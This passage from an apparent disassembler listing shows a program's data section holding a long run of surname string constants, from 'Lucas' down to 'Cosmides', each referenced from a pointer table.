aLucas		db 'Lucas',0            ; DATA XREF: ___:004338FCo
		align 10h
aLubin		db 'Lubin',0            ; DATA XREF: ___:004338F8o
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:004338F4o
		align 10h
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:004338F0o
		align 4
aLoveman	db 'Loveman',0          ; DATA XREF: ___:004338ECo
aLoss		db 'Loss',0             ; DATA XREF: ___:004338E8o
		align 4
aLongworth	db 'Longworth',0        ; DATA XREF: ___:004338E4o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:004338E0o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:004338DCo
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:004338D8o
aLivi		db 'Livi',0             ; DATA XREF: ___:004338D4o
		align 4
aLivernash	db 'Livernash',0        ; DATA XREF: ___:004338D0o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:004338CCo
		align 10h
aLittle		db 'Little',0           ; DATA XREF: ___:004338C8o
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:004338C4o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:004338C0o
		align 10h
aLinzee		db 'Linzee',0           ; DATA XREF: ___:004338BCo
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:004338B8o
aLine		db 'Line',0             ; DATA XREF: ___:004338B4o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:004338B0o
		align 10h
aLinda_0	db 'Linda',0            ; DATA XREF: ___:004338ACo
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:004338A8o
aLim		db 'Lim',0              ; DATA XREF: ___:004338A4o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:004338A0o
		align 10h
aLight_0	db 'Light',0            ; DATA XREF: ___:0043389Co
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:00433898o
		align 10h
aLidano		db 'Lidano',0           ; DATA XREF: ___:00433894o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:00433890o
		align 10h
aLessi		db 'Lessi',0            ; DATA XREF: ___:0043388Co
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:00433888o
		align 10h
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:00433884o
		align 4
aLenard		db 'Lenard',0           ; DATA XREF: ___:00433880o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0043387Co
		align 4
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:00433878o
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:00433874o
		align 10h
aLecar		db 'Lecar',0            ; DATA XREF: ___:00433870o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0043386Co
aLashley	db 'Lashley',0          ; DATA XREF: ___:00433868o
aLaserna	db 'Laserna',0          ; DATA XREF: ___:00433864o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:00433860o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0043385Co
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:00433858o
		align 4
aLandes		db 'Landes',0           ; DATA XREF: ___:00433854o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:00433850o
		align 10h
aLaing		db 'Laing',0            ; DATA XREF: ___:0043384Co
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:00433848o
		align 10h
aLabunka	db 'Labunka',0          ; DATA XREF: ___:00433844o
aLa		db 'La',0               ; DATA XREF: ___:00433840o
		align 4
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0043383Co
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:00433838o
		align 10h
aKumar		db 'Kumar',0            ; DATA XREF: ___:00433834o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:00433830o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0043382Co
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:00433828o
aKraus		db 'Kraus',0            ; DATA XREF: ___:00433824o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:00433820o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0043381Co
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:00433818o
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:00433814o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:00433810o
		align 10h
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0043380Co
		align 4
aKool		db 'Kool',0             ; DATA XREF: ___:00433808o
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:00433804o
		align 4
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:00433800o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:004337FCo
		align 10h
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:004337F8o
		align 4
aKohn		db 'Kohn',0             ; DATA XREF: ___:004337F4o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:004337F0o
		align 4
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:004337ECo
aKnuff		db 'Knuff',0            ; DATA XREF: ___:004337E8o
		align 4
aKlint		db 'Klint',0            ; DATA XREF: ___:004337E4o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:004337E0o
aKling		db 'Kling',0            ; DATA XREF: ___:004337DCo
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:004337D8o
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:004337D4o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:004337D0o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:004337CCo
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:004337C8o
		align 10h
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:004337C4o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:004337C0o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:004337BCo
aKindall	db 'Kindall',0          ; DATA XREF: ___:004337B8o
aKimura		db 'Kimura',0           ; DATA XREF: ___:004337B4o
		align 10h
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:004337B0o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:004337ACo
		align 10h
aKhong		db 'Khong',0            ; DATA XREF: ___:004337A8o
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:004337A4o
		align 10h
aKerry_0	db 'Kerry',0            ; DATA XREF: ___:004337A0o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0043379Co
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:00433798o
aKempton	db 'Kempton',0          ; DATA XREF: ___:00433794o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:00433790o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0043378Co
		align 10h
aKeith		db 'Keith',0            ; DATA XREF: ___:00433788o
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:00433784o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:00433780o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0043377Co
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:00433778o
aKasten		db 'Kasten',0           ; DATA XREF: ___:00433774o
		align 4
aKassower	db 'Kassower',0         ; DATA XREF: ___:00433770o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0043376Co
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:00433768o
		align 4
aKamel		db 'Kamel',0            ; DATA XREF: ___:00433764o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:00433760o
		align 4
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0043375Co
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:00433758o
		align 10h
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:00433754o
		align 4
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:00433750o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0043374Co
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:00433748o
		align 4
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:00433744o
aJulious	db 'Julious',0          ; DATA XREF: ___:00433740o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0043373Co
aJucks		db 'Jucks',0            ; DATA XREF: ___:00433738o
		align 4
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:00433734o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:00433730o
		align 10h
aJohns		db 'Johns',0            ; DATA XREF: ___:0043372Co
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:00433728o
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:00433724o
aJewett		db 'Jewett',0           ; DATA XREF: ___:00433720o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0043371Co
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:00433718o
aJellis		db 'Jellis',0           ; DATA XREF: ___:00433714o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:00433710o
aJay		db 'Jay',0              ; DATA XREF: ___:0043370Co
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:00433708o
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:00433704o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:00433700o
		align 10h
aJamil		db 'Jamil',0            ; DATA XREF: ___:004336FCo
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:004336F8o
		align 10h
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:004336F4o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:004336F0o
		align 10h
aJagers		db 'Jagers',0           ; DATA XREF: ___:004336ECo
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:004336E8o
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:004336E4o
aIyer		db 'Iyer',0             ; DATA XREF: ___:004336E0o
		align 10h
aIsserman	db 'Isserman',0         ; DATA XREF: ___:004336DCo
		align 4
aIsbill		db 'Isbill',0           ; DATA XREF: ___:004336D8o
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:004336D4o
		align 10h
aIsaac		db 'Isaac',0            ; DATA XREF: ___:004336D0o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:004336CCo
		align 10h
aInamura	db 'Inamura',0          ; DATA XREF: ___:004336C8o
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:004336C4o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:004336C0o
		align 10h
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:004336BCo
		align 4
aHyde		db 'Hyde',0             ; DATA XREF: ___:004336B8o
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:004336B4o
		align 10h
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:004336B0o
		align 4
aHupp		db 'Hupp',0             ; DATA XREF: ___:004336ACo
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:004336A8o
		align 10h
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:004336A4o
		align 4
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:004336A0o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0043369Co
		align 10h
aHoy		db 'Hoy',0              ; DATA XREF: ___:00433698o
aHoward		db 'Howard',0           ; DATA XREF: ___:00433694o
		align 4
aHottle		db 'Hottle',0           ; DATA XREF: ___:00433690o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0043368Co
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:00433688o
aHorsley	db 'Horsley',0          ; DATA XREF: ___:00433684o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:00433680o
aHooker_0	db 'Hooker',0           ; DATA XREF: ___:0043367Co
		align 4
aHolzman	db 'Holzman',0          ; DATA XREF: ___:00433678o
aHolway		db 'Holway',0           ; DATA XREF: ___:00433674o
		align 4
aHolter		db 'Holter',0           ; DATA XREF: ___:00433670o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0043366Co
aHolmes		db 'Holmes',0           ; DATA XREF: ___:00433668o
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:00433664o
		align 4
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:00433660o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0043365Co
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:00433658o
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:00433654o
		align 10h
aHoang		db 'Hoang',0            ; DATA XREF: ___:00433650o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0043364Co
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:00433648o
		align 4
aHind		db 'Hind',0             ; DATA XREF: ___:00433644o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:00433640o
		align 10h
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0043363Co
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:00433638o
aHester		db 'Hester',0           ; DATA XREF: ___:00433634o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:00433630o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0043362Co
		align 4
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:00433628o
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:00433624o
		align 10h
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:00433620o
		align 4
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0043361Co
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:00433618o
		align 10h
aHellman	db 'Hellman',0          ; DATA XREF: ___:00433614o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:00433610o
aHeft		db 'Heft',0             ; DATA XREF: ___:0043360Co
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:00433608o
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:00433604o
		align 10h
aHaynes		db 'Haynes',0           ; DATA XREF: ___:00433600o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:004335FCo
		align 10h
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:004335F8o
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:004335F4o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:004335F0o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:004335ECo
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:004335E8o
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:004335E4o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:004335E0o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:004335DCo
		align 10h
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:004335D8o
		align 4
aHarding	db 'Harding',0          ; DATA XREF: ___:004335D4o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:004335D0o
aHand		db 'Hand',0             ; DATA XREF: ___:004335CCo
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:004335C8o
		align 10h
aHamer		db 'Hamer',0            ; DATA XREF: ___:004335C4o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:004335C0o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:004335BCo
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:004335B8o
		align 4
aHalkias	db 'Halkias',0          ; DATA XREF: ___:004335B4o
aHaley		db 'Haley',0            ; DATA XREF: ___:004335B0o
		align 4
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:004335ACo
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:004335A8o
aHaar		db 'Haar',0             ; DATA XREF: ___:004335A4o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:004335A0o
		align 4
aGuo		db 'Guo',0              ; DATA XREF: ___:0043359Co
aGunn		db 'Gunn',0             ; DATA XREF: ___:00433598o
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: ___:00433594o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: ___:00433590o
		align 4
aGruner		db 'Gruner',0           ; DATA XREF: ___:0043358Co
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: ___:00433588o
		align 10h
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: ___:00433584o
		align 4
aGriffiths	db 'Griffiths',0        ; DATA XREF: ___:00433580o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: ___:0043357Co
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: ___:00433578o
		align 10h
aGravell	db 'Gravell',0          ; DATA XREF: ___:00433574o
aGozzi		db 'Gozzi',0            ; DATA XREF: ___:00433570o
		align 10h
aGoody		db 'Goody',0            ; DATA XREF: ___:0043356Co
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: ___:00433568o
		align 4
aGood_0		db 'Good',0             ; DATA XREF: ___:00433564o
		align 4
aGoncalves	db 'Goncalves',0        ; DATA XREF: ___:00433560o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: ___:0043355Co
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: ___:00433558o
aGlegg		db 'Glegg',0            ; DATA XREF: ___:00433554o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: ___:00433550o
aGist		db 'Gist',0             ; DATA XREF: ___:0043354Co
		align 4
aGillispie	db 'Gillispie',0        ; DATA XREF: ___:00433548o
		align 10h
aGill		db 'Gill',0             ; DATA XREF: ___:00433544o
		align 4
aGili		db 'Gili',0             ; DATA XREF: ___:00433540o
		align 10h
aGilbert	db 'Gilbert',0          ; DATA XREF: ___:0043353Co
aGibson_0	db 'Gibson',0           ; DATA XREF: ___:00433538o
		align 10h
aGibbens	db 'Gibbens',0          ; DATA XREF: ___:00433534o
aGhorai		db 'Ghorai',0           ; DATA XREF: ___:00433530o
		align 10h
aGerrett	db 'Gerrett',0          ; DATA XREF: ___:0043352Co
aGeorgi		db 'Georgi',0           ; DATA XREF: ___:00433528o
		align 10h
aGemberling	db 'Gemberling',0       ; DATA XREF: ___:00433524o
		align 4
aGeller		db 'Geller',0           ; DATA XREF: ___:00433520o
		align 4
aGaronna	db 'Garonna',0          ; DATA XREF: ___:0043351Co
aGarman		db 'Garman',0           ; DATA XREF: ___:00433518o
		align 4
aGarfield_0	db 'Garfield',0         ; DATA XREF: ___:00433514o
		align 10h
aGambini	db 'Gambini',0          ; DATA XREF: ___:00433510o
aGalwey		db 'Galwey',0           ; DATA XREF: ___:0043350Co
		align 10h
aGaleotti	db 'Galeotti',0         ; DATA XREF: ___:00433508o
		align 4
aGaggiotti	db 'Gaggiotti',0        ; DATA XREF: ___:00433504o
		align 4
aGabrielli	db 'Gabrielli',0        ; DATA XREF: ___:00433500o
		align 4
aFusaro		db 'Fusaro',0           ; DATA XREF: ___:004334FCo
		align 4
aFurth		db 'Furth',0            ; DATA XREF: ___:004334F8o
		align 4
aFuller		db 'Fuller',0           ; DATA XREF: ___:004334F4o
		align 4
aFujiiAbe	db 'Fujii-Abe',0        ; DATA XREF: ___:004334F0o
		align 4
aFrye		db 'Frye',0             ; DATA XREF: ___:004334ECo
		align 10h
aFryberger	db 'Fryberger',0        ; DATA XREF: ___:004334E8o
		align 4
aFrowiss	db 'Frowiss',0          ; DATA XREF: ___:004334E4o
aFrisken	db 'Frisken',0          ; DATA XREF: ___:004334E0o
aFriedland	db 'Friedland',0        ; DATA XREF: ___:004334DCo
		align 4
aFried		db 'Fried',0            ; DATA XREF: ___:004334D8o
		align 10h
aFreundlich	db 'Freundlich',0       ; DATA XREF: ___:004334D4o
		align 4
aFreid		db 'Freid',0            ; DATA XREF: ___:004334D0o
		align 4
aFrazierDavis	db 'Frazier-Davis',0    ; DATA XREF: ___:004334CCo
		align 4
aFranz		db 'Franz',0            ; DATA XREF: ___:004334C8o
		align 4
aFranklinKenea	db 'Franklin-Kenea',0   ; DATA XREF: ___:004334C4o
		align 4
aFrancisco	db 'Francisco',0        ; DATA XREF: ___:004334C0o
		align 4
aFossi		db 'Fossi',0            ; DATA XREF: ___:004334BCo
		align 10h
aFossey		db 'Fossey',0           ; DATA XREF: ___:004334B8o
		align 4
aFortier	db 'Fortier',0          ; DATA XREF: ___:004334B4o
aFortes		db 'Fortes',0           ; DATA XREF: ___:004334B0o
		align 4
aForester	db 'Forester',0         ; DATA XREF: ___:004334ACo
		align 4
aFolks		db 'Folks',0            ; DATA XREF: ___:004334A8o
		align 4
aFlores		db 'Flores',0           ; DATA XREF: ___:004334A4o
		align 4
aFlier		db 'Flier',0            ; DATA XREF: ___:004334A0o
		align 4
aFitzmaurice	db 'Fitzmaurice',0      ; DATA XREF: ___:0043349Co
aFisk		db 'Fisk',0             ; DATA XREF: ___:00433498o
		align 10h
aFiorina	db 'Fiorina',0          ; DATA XREF: ___:00433494o
aFinnegan	db 'Finnegan',0         ; DATA XREF: ___:00433490o
		align 4
aFinkelstein	db 'Finkelstein',0      ; DATA XREF: ___:0043348Co
aFink		db 'Fink',0             ; DATA XREF: ___:00433488o
		align 4
aField_0	db 'Field',0            ; DATA XREF: ___:00433484o
		align 10h
aFido		db 'Fido',0             ; DATA XREF: ___:00433480o
		align 4
aFeuer		db 'Feuer',0            ; DATA XREF: ___:0043347Co
		align 10h
aFerriell	db 'Ferriell',0         ; DATA XREF: ___:00433478o
		align 4
aFerrante	db 'Ferrante',0         ; DATA XREF: ___:00433474o
		align 4
aFernandes	db 'Fernandes',0        ; DATA XREF: ___:00433470o
		align 4
aFernald	db 'Fernald',0          ; DATA XREF: ___:0043346Co
aFeldman	db 'Feldman',0          ; DATA XREF: ___:00433468o
aFejzo		db 'Fejzo',0            ; DATA XREF: ___:00433464o
		align 4
aFeigenbaum	db 'Feigenbaum',0       ; DATA XREF: ___:00433460o
		align 4
aFates		db 'Fates',0            ; DATA XREF: ___:0043345Co
		align 10h
aFasso		db 'Fasso',27h,0        ; DATA XREF: ___:00433458o
		align 4
aFarren		db 'Farren',0           ; DATA XREF: ___:00433454o
		align 10h
aFarone		db 'Farone',0           ; DATA XREF: ___:00433450o
		align 4
aFaris		db 'Faris',0            ; DATA XREF: ___:0043344Co
		align 10h
aFalorsi	db 'Falorsi',0          ; DATA XREF: ___:00433448o
aFalcoAcosta	db 'Falco-Acosta',0     ; DATA XREF: ___:00433444o
		align 4
aFaioes		db 'Faioes',0           ; DATA XREF: ___:00433440o
		align 10h
aFagan		db 'Fagan',0            ; DATA XREF: ___:0043343Co
		align 4
aFabbris	db 'Fabbris',0          ; DATA XREF: ___:00433438o
aEverett	db 'Everett',0          ; DATA XREF: ___:00433434o
aEuripides	db 'Euripides',0        ; DATA XREF: ___:00433430o
		align 4
aEtter		db 'Etter',0            ; DATA XREF: ___:0043342Co
		align 4
aEstes		db 'Estes',0            ; DATA XREF: ___:00433428o
		align 4
aEspinoza	db 'Espinoza',0         ; DATA XREF: ___:00433424o
		align 10h
aErez		db 'Erez',0             ; DATA XREF: ___:00433420o
		align 4
aErdos		db 'Erdos',0            ; DATA XREF: ___:0043341Co
		align 10h
aErdman		db 'Erdman',0           ; DATA XREF: ___:00433418o
		align 4
aErbach		db 'Erbach',0           ; DATA XREF: ___:00433414o
		align 10h
aEppling	db 'Eppling',0          ; DATA XREF: ___:00433410o
aEnyeart	db 'Enyeart',0          ; DATA XREF: ___:0043340Co
aEncinas	db 'Encinas',0          ; DATA XREF: ___:00433408o
aElvis		db 'Elvis',0            ; DATA XREF: ___:00433404o
		align 10h
aElmerick	db 'Elmerick',0         ; DATA XREF: ___:00433400o
		align 4
aElmendorf	db 'Elmendorf',0        ; DATA XREF: ___:004333FCo
		align 4
aEliasson	db 'Eliasson',0         ; DATA XREF: ___:004333F8o
		align 4
aEickenhorst	db 'Eickenhorst',0      ; DATA XREF: ___:004333F4o
aEdward		db 'Edward',0           ; DATA XREF: ___:004333F0o
		align 4
aEdner		db 'Edner',0            ; DATA XREF: ___:004333ECo
		align 10h
aEdley		db 'Edley',0            ; DATA XREF: ___:004333E8o
		align 4
aEckel		db 'Eckel',0            ; DATA XREF: ___:004333E4o
		align 10h
aEbeling	db 'Ebeling',0          ; DATA XREF: ___:004333E0o
aEardley	db 'Eardley',0          ; DATA XREF: ___:004333DCo
aDwyer		db 'Dwyer',0            ; DATA XREF: ___:004333D8o
		align 4
aDussault	db 'Dussault',0         ; DATA XREF: ___:004333D4o
		align 4
aDurrett	db 'Durrett',0          ; DATA XREF: ___:004333D0o
aDuffin		db 'Duffin',0           ; DATA XREF: ___:004333CCo
		align 4
aDSouza		db 'D',27h,'souza',0    ; DATA XREF: ___:004333C8o
aDrinker	db 'Drinker',0          ; DATA XREF: ___:004333C4o
aDowsland	db 'Dowsland',0         ; DATA XREF: ___:004333C0o
		align 10h
aDoug		db 'Doug',0             ; DATA XREF: ___:004333BCo
		align 4
aDoty		db 'Doty',0             ; DATA XREF: ___:004333B8o
		align 10h
aDosi		db 'Dosi',0             ; DATA XREF: ___:004333B4o
		align 4
aDorf		db 'Dorf',0             ; DATA XREF: ___:004333B0o
		align 10h
aDore		db 'Dore',0             ; DATA XREF: ___:004333ACo
		align 4
aDoonan		db 'Doonan',0           ; DATA XREF: ___:004333A8o
		align 10h
aDonner		db 'Donner',0           ; DATA XREF: ___:004333A4o
		align 4
aDonahue	db 'Donahue',0          ; DATA XREF: ___:004333A0o
aDoherty	db 'Doherty',0          ; DATA XREF: ___:0043339Co
aDockery	db 'Dockery',0          ; DATA XREF: ___:00433398o
aDirksen	db 'Dirksen',0          ; DATA XREF: ___:00433394o
aDionysius	db 'Dionysius',0        ; DATA XREF: ___:00433390o
		align 4
aDilworth	db 'Dilworth',0         ; DATA XREF: ___:0043338Co
		align 10h
aDifronzo	db 'Difronzo',0         ; DATA XREF: ___:00433388o
		align 4
aDifabio	db 'Difabio',0          ; DATA XREF: ___:00433384o
aDiefenbach	db 'Diefenbach',0       ; DATA XREF: ___:00433380o
		align 10h
aDicks		db 'Dicks',0            ; DATA XREF: ___:0043337Co
		align 4
aDFini		db 'D',27h,'fini',0     ; DATA XREF: ___:00433378o
		align 10h
aDeutsch	db 'Deutsch',0          ; DATA XREF: ___:00433374o
aDesombre	db 'Desombre',0         ; DATA XREF: ___:00433370o
		align 4
aDenison	db 'Denison',0          ; DATA XREF: ___:0043336Co
aDenham		db 'Denham',0           ; DATA XREF: ___:00433368o
		align 4
aDenault	db 'Denault',0          ; DATA XREF: ___:00433364o
aDemusz		db 'Demusz',0           ; DATA XREF: ___:00433360o
		align 4
aDempster	db 'Dempster',0         ; DATA XREF: ___:0043335Co
		align 10h
aDeming		db 'Deming',0           ; DATA XREF: ___:00433358o
		align 4
aDellAcqua	db 'Dell',27h,'acqua',0 ; DATA XREF: ___:00433354o
		align 4
aDelger		db 'Delger',0           ; DATA XREF: ___:00433350o
		align 4
aDeleonRendon	db 'Deleon-Rendon',0    ; DATA XREF: ___:0043334Co
		align 4
aDelattre	db 'Delattre',0         ; DATA XREF: ___:00433348o
		align 4
aDefeciani	db 'Defeciani',0        ; DATA XREF: ___:00433344o
		align 4
aDees		db 'Dees',0             ; DATA XREF: ___:00433340o
		align 4
aDebroff	db 'Debroff',0          ; DATA XREF: ___:0043333Co
aDerousse	db 'deRousse',0         ; DATA XREF: ___:00433338o
		align 10h
aDelEnclos	db 'del',27h,'Enclos',0 ; DATA XREF: ___:00433334o
		align 4
aDelapena	db 'DeLaPena',0         ; DATA XREF: ___:00433330o
		align 4
aDegennaro	db 'DeGennaro',0        ; DATA XREF: ___:0043332Co
		align 4
aDawkins	db 'Dawkins',0          ; DATA XREF: ___:00433328o
aDavid		db 'David',0            ; DATA XREF: ___:00433324o
		align 4
aDaskalu	db 'Daskalu',0          ; DATA XREF: ___:00433320o
aDasgupta	db 'Dasgupta',0         ; DATA XREF: ___:0043331Co
		align 4
aDas		db 'Das',0              ; DATA XREF: ___:00433318o
aDArcangelo	db 'D',27h,'arcangelo',0 ; DATA XREF: ___:00433314o
aDapice		db 'Dapice',0           ; DATA XREF: ___:00433310o
		align 10h
aDante		db 'Dante',0            ; DATA XREF: ___:0043330Co
		align 4
aDanieli	db 'Danieli',0          ; DATA XREF: ___:00433308o
aDAmbra		db 'D',27h,'Ambra',0    ; DATA XREF: ___:00433304o
aDaly		db 'Daly',0             ; DATA XREF: ___:00433300o
		align 10h
aDaldalian	db 'Daldalian',0        ; DATA XREF: ___:004332FCo
		align 4
aDasilva	db 'daSilva',0          ; DATA XREF: ___:004332F8o
aCyders		db 'Cyders',0           ; DATA XREF: ___:004332F4o
		align 4
aCvek		db 'Cvek',0             ; DATA XREF: ___:004332F0o
		align 4
aCutler		db 'Cutler',0           ; DATA XREF: ___:004332ECo
		align 4
aCurrier	db 'Currier',0          ; DATA XREF: ___:004332E8o
aCui		db 'Cui',0              ; DATA XREF: ___:004332E4o
aCroxton	db 'Croxton',0          ; DATA XREF: ___:004332E0o
aCroxen		db 'Croxen',0           ; DATA XREF: ___:004332DCo
		align 4
aCroshaw	db 'Croshaw',0          ; DATA XREF: ___:004332D8o
aCrocker	db 'Crocker',0          ; DATA XREF: ___:004332D4o
aCrawford	db 'Crawford',0         ; DATA XREF: ___:004332D0o
		align 4
aCoutaux	db 'Coutaux',0          ; DATA XREF: ___:004332CCo
aCounter	db 'Counter',0          ; DATA XREF: ___:004332C8o
aCosmides	db 'Cosmides',0         ; DATA XREF: ___:004332C4o
		align 10h
